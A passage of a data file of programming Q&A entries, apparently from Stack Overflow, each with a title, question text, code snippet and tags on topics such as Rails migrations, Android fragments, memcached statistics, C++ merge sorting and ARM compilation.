random{\n\npublic:\n random(int i = 0);\n virtual ~random(){};\n virtual void
print() const;\nprotected:\n int id; \n\n};\n", "c++ class virtual virtual-
functions"], "1210051": ["Calling session.getWorkspace().getQuery() causes errors",
"I'm implementing an osgi bundle containing a search service (AbstractService). \
nThis service contains a method to get a list of content nodes as a NodeIterator
object.\n\nI have the an error on line:\n\nerror\n\nI can't understand caused by
section:\n\nCould any body help?\nThanks in advance.\n", " public NodeIterator
getNodes(Session session, String query, long count) throws RepositoryException{\n
NodeIterator nodeIterator = null;\n\n QueryManager queryManager =
session.getWorkspace().getQueryManager();\n\n Query qry =
queryManager.createQuery(query, Query.SQL);\n qry.setLimit(count);\n
QueryResult result = qry.execute();\n nodeIterator = result.getNodes();\
n\n\n return nodeIterator;\n }\n", "java osgi jackrabbit jcr sling"],
"3622749": ["How can I get stdout from delayed_job job?", "I need to run some
external OS Scommands from rails and I need to show their output and exit code to
the user. I checked out Delayed::Job API and didn't see how to get job's stdout.
Tried BJ (BackgroungJob) - it has stdout, stderr and exit_status methods, but it
fails on rails starting: \n\nSeems it's incompatible with 3.2.3\nPlease help me to
get stderr, stdout and exit code from delayed job or suggest something similar BJ.\
n", "~/my_src/ruby_apps/ro > script/rails c\nDEPRECATION WARNING: Calling
set_table_name is deprecated. Please use `self.table_name = 'the_name'` instead.
(called from <top (required)> at
/home/zhoran/my_src/ruby_apps/ro/config/application.rb:7)\nDEPRECATION WARNING:
Calling set_primary_key is deprecated. Please use `self.primary_key = 'the_name'`
instead. (called from <top (required)> at
/home/zhoran/my_src/ruby_apps/ro/config/application.rb:7)\nDEPRECATION WARNING:
Calling set_table_name is deprecated. Please use `self.table_name = 'the_name'`
instead. (called from <top (required)> at
/home/zhoran/my_src/ruby_apps/ro/config/application.rb:7)\nDEPRECATION WARNING:
Calling set_primary_key is deprecated. Please use `self.primary_key = 'the_name'`
instead. (called from <top (required)> at
/home/zhoran/my_src/ruby_apps/ro/config/application.rb:7)\nDEPRECATION WARNING:
Calling set_table_name is deprecated. Please use `self.table_name = 'the_name'`
instead. (called from <top (required)> at
/home/zhoran/my_src/ruby_apps/ro/config/application.rb:7)\nDEPRECATION WARNING:
Calling set_primary_key
is deprecated. Please use `self.primary_key = 'the_name'` instead. (called from
<top (required)> at /home/zhoran/my_src/ruby_apps/ro/config/application.rb:7)\
nscript/rails:6: stack level too deep (SystemStackError)\n", "stdout delayed-job
stderr exit-code"], "5223988": ["Programmically close gtk window", "If you have a
sub-window in GTK and you want to close it programmically (e.g., pressing a save
button or the escape key), is there a preferred way to close the window?\nE.g.,\n\
n", "window.destroy()\n# versus\nwindow.emit('delete-event')\n", "gtk pygtk"],
"5180315": ["Conditional add_filter for upload directory?", "I have a custom media
upload button (in the standard post edit page, alongside the standard media upload
button), and need to change the upload directory dynamically if this button is
clicked - using add_filter('wp_handle_upload_prefilter', 'my_function').\nThis post
& answer: Conditional add_filter? seem to give the solution, but for some reason
don't work for me - the additional parameter 'hexProtected' is not set & so
add_filter is not called.\nMy code is below... am I doing something stupid or does
the solution posted not work?!\n\n", "<?php\n/* Custom Upload Directory for
protected posts */ \n\nfunction
hex_protected_media_button($context) {\n global $post;\n $media_button_image
= 'http://www.example.com/wp-admin/images/media-button.png?ver=20111005';\n
$media_button = ' %s' . '<a href=\"media-upload.php?post_id='.$post-
>ID.'&amp;TB_iframe=1&amp;hexProtected=1\" class=\"thickbox\"><img src=\"'.
$media_button_image.'\" /></a>';\n return sprintf($context, $media_button);\n}\
n\nadd_filter('media_buttons_context', 'hex_protected_media_button');
\nadd_filter('wp_handle_upload_prefilter', 'hex_pre_upload');\
nadd_filter('wp_handle_upload', 'hex_post_upload');\n\nfunction
hex_pre_upload($file){ \n if (isset($_GET['hexProtected'])) {\n
add_filter('upload_dir', 'hex_custom_upload_dir');\n }\n return $file;\n}\n\
nfunction hex_custom_upload_dir($path){ \n if(!empty($path['error']))
{ return $path; } //error; do nothing. \n $path['path'] =
str_replace($path['subdir'], '/protected'.$path['subdir'], $path['path']);\n
$path['url'] = str_replace($path['subdir'], '/protected'.$path['subdir'],
$path['url']); \n $path['subdir'] = '/protected'; \n return
$path;\n}\n\n?>\n", "uploads filters"], "2816939": ["Sending Email with C# Web
App", "I have a C# Web App (Using ASP.NET 2.0) and I want to use it to send email.
I have researched about this online, but I've only gotten more confused. I have
learned some basics, but it isn't getting me anywhere. Here's what I have so far:\
n\nAll the controls prefixed txt are text boxes. I got part of this from an onlin
tutorial, but it doesn't work because I'm not sure what I should put in the SMTP
server Textbox. Can anyone help me?\nThanks\n", " MailMessage message = new
MailMessage(txtFrom.Text, txtTo.Text, txtSubject.Text, txtBody.Text);\n
SmtpClient emailClient = new SmtpClient(txtSMTPServer.Text);\n
emailClient.Send(message);\n", "c# asp.net email web-applications"], "236911":
["Add Slides From A Separate PowerPoint File With pywin32", "I have a list of
PowerPoint files and I want to open up each one and insert each of their slides
into a single template presentation. Any pywin32 documentation or suggestions would
be greatly appreciated!\n", "", "python powerpoint pywin32"], "1690045": ["Darken a
.Net Form", "I have a 1080p touchscreen application. When a modal pops up, i want
to emphasize that by darkening the main form. \nRight now i use a second form, the
size of the main form, that is black and has 50% opacity. Whenever a modal needs to
appear, i open the opaque form, and then open the desired modal.\nI feel this is a
bit devious for my purpose. Its also not asshole-proof that when the user alt tabs,
the forms will glitch out of sequence.\nIs there a better way to achieve the
darkening effect. Perhaps by darkening the main form from within itself?\nThanks\
n", "", "vb.net forms modal touchscreen darken"], "2818164": ["Oracle equivalent of
ROWLOCK, UPDLOCK, READPAST query hints", "In SQL Server I used the following hints
inside queries:\n\nrowlock (row level locking)\nupdlock (prevents dirty reads)\
nreadpast (don't block waiting for a rowlock, go to the first unlocked row)\n\
ne.g.\n\nAre there equivalent in-query hints for Oracle?\n", "select top 1 data
from tablez with (rowlock,updlock,readpast);\n", "sql oracle locking"], "5115119":
["How to make sure my Android device supports call recording?", "Is there a way to
specify in the manifest that the application must have access to ? (or any other
form of call recording which I'm not familiar with yet and would be really glad to
be :) )\n", "AudioSource.VOICE_CALL", "android call android-manifest recording"],
"1658465": ["OpenLDAP schema location (cn=schema,cn=config) does this exist?",
"We're trying to get an instance of OpenLDAP up and running. I'm using ApacheDS as
the browser. When I go to create my objects in the LDAP database, I see that a
number of the objects and attributes don't fit the purpose for which I intend on
using it. So, naturally I want to extend the schema.\nI'm following instructions
from http://www.rainingpackets.com/how-to-add-schema-file-openldap-24/ and I see
that there is a \"path\" cn=schema,cn=config. Should I be able to see this path
through my LDAP browser? Whenever I try to connect to that location, it errors out
(says invalid credentials). \nThe README has the path \"dc=maxcrc,dc=com\" as the
default one and ApacheDS confirms this and I can log in just fine here. \nIf anyone
can offer some insight into the mind of OpenLDAP, I'd appreciate it.\nmj\n", "",
"ldap openldap"], "3574597": ["How do I use JavaScript to do a postback of another
button", "I have two buttons\n\n\nWhat I would like to do is inside button1_click()
which is a javascript method, I would like to do a postback just like if btnButton2
was pressed.\nI tried doing the following but it didn't seem to work.\nfunction
button1_click()\n{\n __doPostBack('btnButton2','')\n}\nand whilst that refreshed
the page, it never went through to the btnButton2_Click trigger.\n", "",
"javascript postback"], "5146780": ["Replacing fragments", "I want to replace
fragment B1 with fragment B2 after selecting listFragment A items.\n\nIt replaces
just for once and after selecting item 1 (position 0) again application crashes.\
n", "@Override\npublic void onListItemClick(ListView l, View v, int position, long
id) {\n\n Integer Position = position;\n WebViewerFragment fragment =
(WebViewerFragment) getFragmentManager()\
n .findFragmentById(R.id.detailFragment);\n if (Position.equals(0))
{\n FragmentManager fm = getFragmentManager();\n WebViewerFragment
newFragment = new WebViewerFragment();\n FragmentTransaction ft =
fm.beginTransaction();\n ft.replace(R.id.detailFragment, newFragment);\n
ft.addToBackStack(\"android\");\n ft.commit();\n } else if
(Position.equals(1)) {\n FragmentManager fms = getFragmentManager();\n
WebViewerFragment_II newFragments = new WebViewerFragment_II();\n
FragmentTransaction fts = fms.beginTransaction();\n
fts.replace(R.id.detailFragment, newFragments);\n
fts.addToBackStack(\"google\");\n\n fts.commit();\n } \n}\n", "android
android-fragments android-listfragment"], "5028376": ["Integrating Network Shares
To MySite", "Please I have a WSS 3.0 environment. Not all departments have adopted
the WSS sites. Those who have not use a network share, those who have adopted
equally still use the network share because of those who haven't adopted WSS. \
nThere is a migration in progress. As part of the adoption process, users whose
documents are in network shares have been informed they will have their network
share documents in MOSS 2007 MySite. I can simply migrate the contents of the
network shares into MOSS 2007. BUT we don't really want to annihilate network
shares, we just want users to have access to their respective shares in MySite.\
nSo, Pls how do I integrate network shares into MySite?\nThank you.\nPS: you can
send me your response(s) to this forum AND my mailbox [email protected]\
n", "", "networking moss integration share mysite"], "93026": ["Problems in
inserting utf-8 string into database and then outputting it to web page", "I am
learning PHP programming, so I have setup testing database and try to do various
things with it. So situation is like that:\nDatabase collation is utf8_general_ci.\
nThere is table \"books\" created by query\n\nThen it is filled with some sample
data - note that text entries are in russian. This query is saved as utf-8 without
BOM .sql and executed.\n\nWhen I review contents of created table via phpMyAdmin, I
get correct results. \nWhen I retrieve data from this table and try to display it
via php, I get question marks instead of russian symbols. Here is piece of my php
code:\n\nAnd here is the output:\n\nCan someone point out what I am doing wrong?\
n", "create table books\n( isbn char(13) not null primary key,\n author
char(50),\n title char(100),\n price float(4,2)\n);\n", "php mysql utf-8"],
"2790328": ["Can I create a table without a primary key?", "I want to create a
table without a primar key:\nusers_models\nuser_id\nmodel_id\nI have a users table,
but the model_id value is actually going to come from a enumeration that I have in
my code.\nSo I don't need a primary key on this table, can I in my migration tell
it so it doesn't create one?\n", "", "ruby-on-rails"], "670532": ["How to make a
circle-like slider", "Recently I just encounter a problem in Android.\nI wanna make
a slider whose thumb slides
along the circle path.\nIs there any way to achieve this ??\nThanks in advance!!!\
n", "", "android slider"], "5913700": ["Login using Flex and PHP but how to handle
session", "I have a Flex login page that uses HTTPService to communicate with
server side php script. Once user's credential is verified, a session will be
created and the login page will redirect to the main Flex page with that session
info.\nI'm not sure how to implement the session logic. Can someone shed some light
on this? Some sample codes will be very helpful.\nThanks,\n", "", "php flex
authentication"], "3170541": ["Memcached parameter checking", "For some reason at
the moment memcache it causing a spike in the response time of the site. \nin other
questions with memcached numbers cmd_get = get_hits + get_misses \n\nfor some
reason in our setup cmd_get is equal to get_hits and get_misses is larger than
cmd_get. When I try to run stats malloc I get an error which seems weird.\nthe
result is really slow tranactions that can take 30 seconds to execute memcache set
and get\nQuestions #\n\nWhy would my cmd_get = get_hits?\nWhy is my get_misses
higher than my cmd_get?\nHow can I debug what is causing the spikes in response
time?\n\nstats \n\nstats slab\n\n", "STAT cmd_get 6236962\nSTAT get_hits 6236962\
nSTAT get_misses 6543342\n", "memcached"], "3435960": ["UIPanGestureRecognizer in
iOS 4.3 not working", "I have a UIImageView subclass and I need to have a pan
gesture so I added the following code:\n\nbut my handlePan selector never gets
called.\nIs there something else i need to do?\nThanks\n", "UIPanGestureRecognizer
* panRecognizer = [[UIPanGestureRecognizer alloc]initWithTarget:self
action:@selector(handlePan)];\n[self addGestureRecognizer:panRecognizer];\n",
"iphone objective-c xcode ipad"], "660257": ["Debugging with NUnit; ignore
exceptions and only pausing at breakpoints", "I'm debugging my unit tests by
attaching the process, which is working splendidly. Some of my tests are asserting
that an exception is thrown, upon which the debug is pausing and letting me know
something went wrong. With any normal debug process this would be handy, however
when unit testing it's a bit of a pain. So I ask:\nIs there any way, whilst
debugging, to only pause at breakpoints, and ignore exceptions?\nMany thanks.\n",
"nunit-x86.exe", "c# visual-studio-2010 unit-testing nunit"], "5595814": ["Sql
Server OLEDB provider error. The provider ran out of memory error", "Sorry for my
english :). \nI have a windows service. Service report some excel files weekly. But
\u0131 got a\"OLE DB provider 'SQLOLEDB' reported an error. The provider ran out of
memory\" Ole Db error. Service use SQl Server 8.00.194 and it link another SQL
Server. I do not know why \u0131 receive this error. Thanks for help.\n", "", "sql-
server oledb"], "4479943": ["JQuery search no longer working", "I cannot figure out
why this isn't working. It's a JQuery search box that uses the Freebase API to
find games. When I POST, the gameID and gameName are blank.\n\n", "<link
type=\"text/css\" rel=\"stylesheet\"
href=\"http://freebaselibs.com/static/suggest/1.3/suggest.min.css\" />\n<script
type=\"text/javascript\"
src=\"http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js\"></script>\
n<script type=\"text/javascript\"
src=\"http://freebaselibs.com/static/suggest/1.3/suggest.min.js\"></script>\
n<script type=\"text/javascript\">\n $(function() {\n $(\"#game-
search\").suggest({type:'/games/game'}).bind(\"fbSelect\", function(e, data) {\n
$(\"#game-id\").val(data.id);\n $(\"#game-name\").val(data.name);\
n });\n });\n</script>\n\n\n<form name=\"input\" action=\"/game-
profile\" method=\"post\">\n <input class=\"search-box\" name=\"fbSelect\"
type=\"text\" id=\"game-search\"/>\n <input type=\"hidden\" name=\"gameID\"
id=\"game-id\" />\n <input type=\"hidden\" name=\"gameName\" id=\"game-name\" />\n
<input class=\"button\" value=\"Go\" type=\"submit\"/>\n</form>\n", "javascript
jquery forms post freebase"], "5406160": ["HP OfficeJet won't start", "I have a HP
OfficeJet 7410 All-in-One. It had been working fine, however, now it is having
some issues.\nWhen I plug the power cord in the LCD screen brings up a loading
screen and seems to be loading the software. Then it restarts, turns black, and
the loading screen comes back on.\nThe loop does not stop. Keep looping for 5
hours until I just unplugged the printer.\nNot really sure where to start with this
one.\n[ EDIT ]\nHP Power Cord with brick\n\nSerial Number: C1458F0XXK02L AC/DC\
nAdapter: Input - 120-127V, Output -\n31V\n\n", "", "windows-xp printer"],
"5965736": ["Weird character after UTF8_encode", "When I try to change from to
text become like that \n\nI'm trying to change the encoding of webpage I grabbed
using . \n\n", "windows-1256", "php utf-8 encode arabic"], "2335786": ["How to get
git like statistics from TFS", "I've been working with TFS for a few months now and
would like to get some basic statistics and make them available to our team. In
git, i could retrieve statistics on \"commit by author\" and \"commit by date\"
etc.\nI'd like to show similar statistics from TFS (or from TeamCity).\nIs this
possible?\n", "", "git tfs teamcity"], "2779096": ["Unit Testing a Function That
Calls a url with Mock", "Question\nI have a function that calls a url and then
modifies that url's response. How can I write a unit test for the portion of that
function's code that modifies the response, without having to rely on that url?\
nExample\nmy_module.py\n\nWhat I've tried so far\n\nUsing mock's MagicMock() (you
can't use it to override a function's variables, as far as I can tell)\nI've
considered breaking apart the two sections of that function (the retrieval of the
url and the modify of the response), however, I'm not clear if that's necessary\nSo
much googling my hands hurt\n\n", "import requests\n\ndef get_some_resource():\n
url = 'http://httpbin.org/get'\n r = requests.get(url)\n # Special
manipulation of returned text (what I want to test) simple example used\n output
= r.text.upper()\n return output\n", "python"], "4401639": ["Do not hide
specific childnodes onclick a parent", "I've got the next HTML code:\n\nI'm trying
to hide the articles when clicked on the div outside the articles, but not when the
articles itself are clicked. Currently I got the following code, but it ain't
working:\ncode:\n\n", "<div id=\"main-container\">\n <article
id=\"doyou\">...</article>\n <article id=\"theydid\">...</article>\n <article
id=\"nieuws\">...</article>\n ...\n</div>\n", "jquery div hide parent"],
"2170937": ["findElementsByTagName of multiple tags in correct order on HTML
page.", "I'm using WebDriver to retrieve and autofill forms in Firefox in the
following way.\n\nWhen I cycle through the allElements List, I first see all the
'input' elements, then all the 'select' elements. Is there a way to retrieve all
these elements in the order they occur on the page? I wish findElementsByTagName()
would take a REGEX like:\n\nAny clever ways to do this?\n", "FirefoxDriver driver =
new FirefoxDriver();\nList<WebElement> inputElements =
driver.findElementsByTagName(\"input\");\nList<WebElement> selectElements =
driver.findElementsByTagName(\"select\");\nList<WebElement> allElements = new
ArrayList<WebElement>(inputElements);\nallElements.addAll(selectElements);\n",
"java html webdriver"], "4137652": ["My rake db:migrate is failing and I can't
figure out how to fix it", "when I run the rake db:migrate I get this\n\nNow I'm
running it on a fresh ubutu box. \n$ rails -v = Rails 3.1.3\n$ ruby -v = ruby
1.9.2p290 (2011-07-09 revision 32553) [i686-linux]\nThe file I get error on
contains some comments and this line of code\n\nNotes... \nI'm not calling $ sudo
rake db:migrate. so the like questions up here doesn't have the answer.\nwhat I've
read indicates that the hash is wrong, and putting in the old one seems to stop the
bleeding.. But I don't want a hymopheliactic application where I am stopping the
bleeding all over. I'd rather know what's causing the issue and fix it at the
source. \n\nIt might help the \"helpers\" to mention that if I call $rails new demo
the file session_store has a different format.. it seems to use the old hash
markings... this might be a clue to some, but it is just a pointer to this newb\n",
"Invoke db:migrate (first_time)\n** Invoke environment (first_time)\n** Execute
environment\nrake aborted!\nsession_store.rb:3: syntax error, unexpected ':',
expecting $end\n...sion_store :cookie_store, key:\n", "ruby-on-rails migration"],
"1157257": ["CreateDelegate On Extension Method", "I have a class with an IList
readonly property. I have created a simple extension method, AddCSV, to add
multiple items to that list. I want to create an action delegate to populate the
list via the extension method. So far, I have\n\nbut obviously this isn't working!\
nI am aware that there are other options. For example \na) I could inherit the list
into my own customer class and add the AddCSV there\nb) I could make items property
read/write and set a fully populated list into my class\nI'd be grateful if
someone could correct me.\nMany thx\nSimon\n", "private
Action<TListPropertyContainer, TDataValue>
CreateListPropertySetter<TListPropertyContainer, TDataValue>(string listName)\n{\n
var list = typeof(TListPropertyContainer).GetProperty(listName);\n var method =
typeof(Extensions).GetMethod(\"AddCSV\");\n return
(Action<TListPropertyContainer,
TDataValue>)Delegate.CreateDelegate(typeof(Action<TListPropertyContainer,
TDataValue>), list, method);\n}\n", "c# extension-methods"], "5820496": ["unable to
get fan page to check if user has liked this page or not using fql", "I just want
to know whether a user has liked page or not and following is my code:\n\nSo by
using this code I am able to check if our
page is in liked by this user or not. And it is working. But one of QA did some
thing different may be he didn't gave permissions first time, then he gave
permissions, installed app. And our above code wasn't able to get if user has liked
the page or not. This user removed the app. then again installed but same problem.
He logged in from different machine but still our above code is not able to get if
that user has liked page. So I want to know that why can be such problem happened?
Is it some problem of app permissions? user settings? or we are using wrong way to
check if user has liked the page? Why fql is not able to tell if that user has
liked the page or not?if our page is in fan pages of that user or not? It is
working fine for other users. It is ambiguous but please tell if you guys have any
idea?\nthanks in advance guys.\n", " function checkPageLike($fbuid,$token){\n
$fqlquery = \"SELECT uid FROM page_fan WHERE page_id = \".$this->config-
>item('pageId').\" and uid=\".$fbuid;\n $res = \"0\";\n try{\n\n
$ret_obj = $this->facebook->api(array('method' => 'fql.query',\n
'query' => $fqlquery,\n ),'get',array('access_token' => $token));\n
if(checkArray($ret_obj ) && $ret_obj [0]['uid']){\n $res = \"1\";\n
}\n }catch(Exception $e){\n print_r($e);\n }\n return $res;\n\n}\
n", "facebook facebook-like facebook-fql facebook-apps facebook-fanpage"],
"2130198": ["Applet and JSF Integration - example", "Can we implement javascript
into applet/swing?If yes how? please give some basic/small example.\n", "",
"applet"], "5005107": ["Cache efficient multithreaded merge sort", "\nThis is a
snippet from my algorithm, This function is dedicated for a single thread which
iterates over number of queues (there are queues with timestamps and respectively
there are queues with values)\neach thread that executes this method, iterates over
X queues and merge them into single cyclic queue of timestamps and values.\nThis
function suffers from a lot of cache misses,\nHow could it be improved to reduce
cache misses ( multiple threads execute this method simultaneously with different
id - helperIndex)\n", "void AFCQueue::ExtractValuesSecComplex(int startIndex, int
endIndex,int helperIndex)\n{\n\nint size = 0,i,index;\nTimeType min_timestamp;\
nbool is_singleQueue = false;\nTimeType* local_queue_time =
helper_queue_time[helperIndex];\nint* local_queue_value =
helper_queue_value[helperIndex];\nvolatile int& in_local_helper =
in_sec[helperIndex];\nvolatile int& out_local_helper = out_sec[helperIndex];\n\
nNodeArrayBlock * heads_local[_MAX_THREADS];\nNodeArrayBlock
*tails_local[_MAX_THREADS];\nint outs_local[_MAX_THREADS];\nint
ins_local[_MAX_THREADS];\nTimeType local_timearray[_MAX_THREADS];\nint min_index =
0;\n\nmin_timestamp = timestamps_arr[startIndex];\nfor
(i=startIndex,index=startIndex ; i < endIndex; i++){\n heads_local[i] =
(NodeArrayBlock *)heads[i];\n outs_local[i] = outs[i];\n tails_local[i] =
(NodeArrayBlock *)tails[i];\n ins_local[i] = ins[i];\n local_timearray[i] =
timestamps_arr[i];\n\n if (local_timearray[i] < min_timestamp){\n
min_timestamp = local_timearray[i];\n index = i;\n }\n}\n\ndo{\n //if
central queue is full \n while((out_local_helper-1)==in_local_helper || \n
(out_local_helper==0 && in_local_helper == HELPERS_QUEUE_SIZE_1) ||
_gIsStopThreads){\n if (_gIsStopThreads)\n return;\n }\n\n
local_queue_time[in_local_helper] = heads_local[index]-
>_timestamp_arr[outs_local[index]];\n local_queue_value[in_local_helper] =
heads_local[index]->_values_arr[outs_local[index]++];\n\n if (in_local_helper <
HELPERS_QUEUE_SIZE_1)\n in_local_helper++;\n else\n
in_local_helper = 0; \n\n if (outs_local[index] == _INIT_SIZE){\n
heads_local[index]->_free = true;\n heads_local[index] = heads_local[index]-
>_next;\n if (heads_local[index]==null)\n {\n
tails_local[index] = null;\n ins_local[index]=0;\n }\n
outs_local[index] = 0;\n }\n if (ins_local[index] == outs_local[index] &&\n
heads_local[index]==tails_local[index])\n {\n //if it was not the last
local queue in the array of snapshots\n if (--endIndex != index){\n
heads_local[index] = heads_local[endIndex];\n
tails_local[index] = tails_local[endIndex];\n
outs_local[index] = outs_local[endIndex];\n
ins_local[index] = ins_local[endIndex];\n
local_timearray[index] = local_timearray[endIndex];\n }\n
if ((endIndex-startIndex)==1)\n is_singleQueue = true;\n
heads_local[endIndex] = null;\n }else{\n
local_timearray[index] = heads_local[index]->_timestamp_arr[outs_local[index]];\n
}\n //If a single Queue left, no need to check timestamps\n if
(is_singleQueue){\n int out = outs_local[startIndex];\n int in =
ins_local[startIndex];\n NodeArrayBlock* he = heads_local[startIndex];\n
NodeArrayBlock* ta = tails_local[startIndex];\n int* value_arr = he-
>_values_arr;\n TimeType* time_arr = he->_timestamp_arr;\n while
(true){\n if ((in == out && he==ta))\n {\n
//heads[startIndex] = null;\n return;\n }\n if
(out == _INIT_SIZE){\n he->_free = true;\n he = he-
>_next;\n if (he==null)\n {\n
//heads[startIndex]=null;\n return;\n }\n
value_arr = he->_values_arr;\n time_arr = he->_timestamp_arr;\n
out = 0;\n } \n while((out_local_helper-1)==in_local_helper
|| \n (out_local_helper==0 && in_local_helper ==
HELPERS_QUEUE_SIZE_1) || \n _gIsStopThreads){\n if
(_gIsStopThreads)\n return;\n }\n\n if
(he==ta){\n if (out_local_helper <= in_local_helper){\n
min_index = Math::Min(HELPERS_QUEUE_SIZE-in_local_helper,in-out);\
n }else{\n min_index =
Math::Min(out_local_helper-1-in_local_helper,in-out);\n }\n
}else{\n if (out_local_helper <= in_local_helper){\n
min_index = Math::Min(HELPERS_QUEUE_SIZE-in_local_helper,_INIT_SIZE-out);\n
}else{\n min_index = Math::Min(out_local_helper-1-
in_local_helper,_INIT_SIZE-out);\n }\n }\n
memcpy(&local_queue_time[in_local_helper],&time_arr[out],min_index *
sizeof(*time_arr));\n
memcpy(&local_queue_value[in_local_helper],&value_arr[out],min_index *
sizeof(*value_arr));\n in_local_helper+=min_index;\n
out+=min_index;\n if (in_local_helper == HELPERS_QUEUE_SIZE)\n
in_local_helper = 0;\n }\n }\n if (endIndex==startIndex)\n
break;\n\n min_timestamp = local_timearray[startIndex];\n for(i =
startIndex+1,index=startIndex; i < endIndex ;i++){\n if (local_timearray[i]
< min_timestamp){\n min_timestamp = local_timearray[i];\n
index = i;\n }\n }\n}while(true);\n}\n", "c++ multithreading caching
merge"], "4776528": ["navigationController is NULL after pressing the back button",
"I have an app that has a Navigation Controller built from storyboard. Each view
controller has a table that needs to be refreshed each time the user goes back from
the next view, so let's say if the user goes like view controller A->B->C, then
when he goes back to B I need to refresh the values on the table in view B. \nI'm
trying to do this using UINavigationControllerDelegate, so that
didShowViewController is called each time the user goes back and forth in the
navigation:\n\nI set the delegate on viewDidLoad:\n\nThe problem is that from some
reason navigationController is being set to NULL somewhere and I can't find where
it is, since I'm not doing any explicit push/pop operation (as I mentioned the
navigation controller was built in Storyboard). \nThe exact sequence is : A->B->C-
>B and here navigationController is NULL. Here are some NSLog outputs:\n1) When
user goes from A->B\n\n2) B->C\n\n3) And then C->B\n\nI really don't understand why
navigationController goes to NULL here. I found that the problem happens when I set
the delegate in viewDidLoad. If I remove that line and move the code from the
protocol procedure (didShowViewController) to viewDidLoad everything works fine,
except that I can't refresh my tables when the user goes back in the navigation
stack. \nAlso weird is that in step (3) didShowViewController is being called from
View-C and not from View-B. \nAny help is much appreciated. \n", "- (void)
navigationController:(UINavigationController *)navigationController
didShowViewController:(UIViewController *)viewController animated:(BOOL)animated\
n{\n // Do some initialization stuff\n // and then get entries from an
external database\n\n [self fetchEntries];\n\n // Log:\n NSLog(@\"View-B: \\
nself=%@ \\nnavigationController=%@\\nDelegate:%@\\nviewControllers:%@\", self,
self.navigationController, self.navigationController.delegate,
self.navigationController.viewControllers);\n}\n", "ios uinavigationcontroller"],
"1871217": ["Duplicate symbol: Include static lib A in static lib B, also include
lib A and B in XCode Project", "I've been trying to build up a set of reusable
libraries for app development, but I'm starting to run into a problem.\nOne of my
static libs is a set of general use methods (categories on Objective-C Foundation
classes to improve their usability) which I tend to use in every project. (We'll
call it Lib A... i.e. XCode project A produces libProjectA.a)\nThen I have other
static libs, things that contain specialized code for math, etc. (We'll call it Lib
B.) Lib B links to Lib A because it needs to use some of that general
functionality. (i.e. XCode project B links with libProjectA.a and produces
libProjectB.a) \nIn my XCode project, I want to include and depend on Lib A because
it has my general use stuff that I use all the time. I also want to include and
depend on Lib B because I need that specialized math functionality. (i.e. my app
Project wants to link with libProjectA.a and libProjectB.a)\nHowever, when I try to
build my XCode project I get errors for duplicate symbols, because the symbols that
are defined in Lib A are also defined in Lib B. \n\nHow can I get around this
problem? I want to develop reusable libraries to speed my app development as well
as increase stability through tested/refined code. Am I approaching this from the
wrong perspective? I'm developing for iOS so I can't use dylibs, they must be
static.\nHow can I include these libraries in my project when they are
interdependent upon each other and avoid the duplicate symbols?\n", "ld: duplicate
symbol _OBJC_METACLASS_$_Foo in
/Users/kenny/xcode_build/Release-iphonesimulator/lib_ApplicationCore.a(Foo.o)
and /Users/kenny/xcode_build/Release-iphonesimulator/lib_SpecializedMath.a(Foo.o)\
n", "objective-c xcode ios static-libraries reusability"], "4138938": ["Compilation
of CHIBIOS on STM32F4-Discovery with CooCox", "I am rather painfully new at
compilation for ARM.\nI started by using CooCox. After creating a project, I added
all the CHIBIOS include paths to the project. My code itself is the default Chibios
example code for the stm32F4 discovery.\nOn compilation, I get a output file with
nothing in it.\nHowever, if I deselect \"discard unused sections\" in the link
configuration, I get the following:\npwmpcb':\n\nAfter the last line, pretty much
every single variable in the files is listed the same way.\nNow I know my problem
is linker related, but I am unsure where to fix it.\nPerhaps I need to approach it
a different way?\nFixing the two above warnings (commenting and adding return
respectively) does not fix the issue.\nAs a bit of background, I am looking to use
Chibios to drive a camera and other devices attached to stm32F4. If CooCox turns
out to simply be a pain, I can switch to something more makefile friendly (there is
no way to import makefiles!)\nBest Regards\n", "\nGCC HOME: C:\\CooCox\\CoIDE\\
GCC\\bin\ncompile:\n [mkdir] Skipping C:\\CooCox\\Code\\Test3\\test3_Flash\\
Debug\\bin because it already exists.\n [mkdir] Skipping C:\\CooCox\\Code\\
Test3\\test3_Flash\\Debug\\obj because it already exists.\n [cc] 2 total
files to be compiled.\n [cc] arm-none-eabi-gcc -mcpu=cortex-m4 -mthumb -Wall
-ffunction-sections -g -O0 -c -DSTM32F407VG -DSTM32F4XX -IC:\\CooCox\\Code\\Test3 -
IC:\\CooCox\\Code\\chibitest\\chibios_2.4.2\\boards\\st_stm32f4_discovery -IC:\\
CooCox\\Code\\chibitest\\chibios_2.4.2\\os\\ports\\common\\armcmx -IC:\\CooCox\\
Code\\chibitest\\chibios_2.4.2\\os\\ports\\gcc\\armcmx -IC:\\CooCox\\Code\\
chibitest\\chibios_2.4.2\\os\\hal\\src -IC:\\CooCox\\Code\\chibitest\\
chibios_2.4.2\\os\\various -IC:\\CooCox\\Code\\chibitest\\chibios_2.4.2\\os\\
kernel\\src -IC:\\CooCox\\Code\\chibitest\\chibios_2.4.2\\os\\ports\\gcc\\armcmx\\
stm32f4xx\\ld -IC:\\CooCox\\Code\\chibitest\\chibios_2.4.2\\os\\hal\\platforms\\
stm32 -IC:\\CooCox\\Code\\chibitest\\chibios_2.4.2\\demos\\armcm4-stm32f407-
discovery -IC:\\CooCox\\Code\\chibitest\\chibios_2.4.2\\os\\hal\\platforms\\stm32\\
rtcv1 -IC:\\CooCox\\Code\\chibitest\\chibios_2.4.2\\os\\hal\\include -IC:\\CooCox\\
Code\\chibitest\\chibios_2.4.2\\os\\ports\\gcc\\armcmx\\stm32f4xx -IC:\\CooCox\\
Code\\chibitest\\chibios_2.4.2\\os\\hal\\platforms\\stm32\\usbv1 -IC:\\CooCox\\
Code\\chibitest\\chibios_2.4.2\\os\\hal\\platforms\\stm32f4xx -IC:\\CooCox\\Code\\
chibitest\\chibios_2.4.2\\test -IC:\\CooCox\\Code\\chibitest\\chibios_2.4.2 -IC:\\
CooCox\\Code\\chibitest\\chibios_2.4.2\\os\\ports\\common\\armcmx\\cmsis\\include -
IC:\\CooCox\\Code\\chibitest\\chibios_2.4.2\\os\\hal\\platforms\\stm32\\gpiov2 -
IC:\\CooCox\\Code\\chibitest\\chibios_2.4.2\\os\\kernel\\include C:\\CooCox\\Code\\
Test3\\main.c C:\\CooCox\\Code\\Test3\\syscalls\\syscalls.c\n [cc] In file
included from
